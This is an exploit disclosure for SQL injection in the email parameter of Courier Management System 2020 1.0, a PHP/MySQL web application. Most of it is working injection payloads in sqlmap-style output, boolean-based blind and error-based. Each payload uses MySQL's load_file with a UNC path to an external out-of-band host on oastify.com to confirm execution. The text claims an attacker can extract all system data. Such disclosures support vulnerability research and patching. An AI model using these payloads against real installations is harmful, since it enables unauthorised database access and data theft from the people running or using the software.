## Titles: courier-management-system-2020-1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 08/12/2024
## Vendor: https://github.com/oretnom23
## Software:
https://www.sourcecodester.com/php/14611/courier-management-system-using-phpmysqli-source-code.html#comment-105424
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The email parameter appears to be vulnerable to SQL injection attacks. The
payload '+(select load_file('\\\\
031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+' was submitted
in the email parameter. This payload injects a SQL sub-query that calls
MySQL's load_file function with a UNC file path that references a URL on an
external domain. The application interacted with that domain, indicating
that the injected SQL query was executed. The attacker can get all
information from the system by using this vulnerability!

STATUS: HIGH- Vulnerability


[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: email=xtyqLAHz@burpcollaborator.net'+(select load_file('\\\\
031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+'' OR NOT
3092=3092 OR 'zgfp'='bQHN&password=d6I!n9y!D7

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: email=xtyqLAHz@burpcollaborator.net'+(select load_file('\\\\
031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+'' AND (SELECT
8802 FROM(SELECT COUNT(*),CONCAT(0x71716b7871,(SELECT
(ELT(8802=8802,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'dmho'='XBTr&password=d6I!n9y!D7
---
```

## Reproduce:
[href](https://www.patreon.com/posts/courier-system-1-109943338)

## More:
[href](
https://www.nu11secur1ty.com/2024/08/courier-management-system-2020-10.html)

## Time spent:
01:00:00